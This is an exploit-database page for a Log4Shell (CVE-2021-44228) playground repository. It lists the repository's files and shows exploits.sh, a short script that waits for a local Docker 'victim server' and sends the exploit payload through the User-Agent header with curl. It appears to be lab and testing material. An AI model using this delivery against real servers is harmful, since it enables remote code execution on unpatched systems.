Exploit databaseDownload repository ZIP
GH-b6650a2390641c72db986f20f437cf99
b-abderrahmane/cve-2021-44228-playground
Sources for CVE-2021-44228
465 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files18
b-abderrahmane/cve-2021-44228-playgroundRevision cb7b66f65c7c
- .github/
- docker_images/
- marshalsec/
- poc_template/
- .env
- .gitignore
- .pre-commit-config.yaml
- LICENSE
- README.md
- build_images.sh
- colored_formatted.py
- constants.py
- delete_containers.sh
- docker-compose.yaml
- exploits.sh
- log4shell_validator.py
- renovate.json
- run_containers.sh
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
exploits.sh
Shell · 541 bytes#!/bin/bash
set -ex
echo "waiting for the victim server to come up"
attempt_counter=0
max_attempts=20
env
until $(curl --output /dev/null --silent --head --fail http://host.docker.internal:8080/); do
if [ ${attempt_counter} -eq ${max_attempts} ];then
echo "Max attempts reached"
exit 1
fi
printf '.'
attempt_counter=$(($attempt_counter+1))
sleep 1
done
echo "Sending payload for CVE 2021-44228 through GET parameter"
curl -H "User-Agent: $PAYLOAD_44228" "http://host.docker.internal:8080/$TARGET_URI"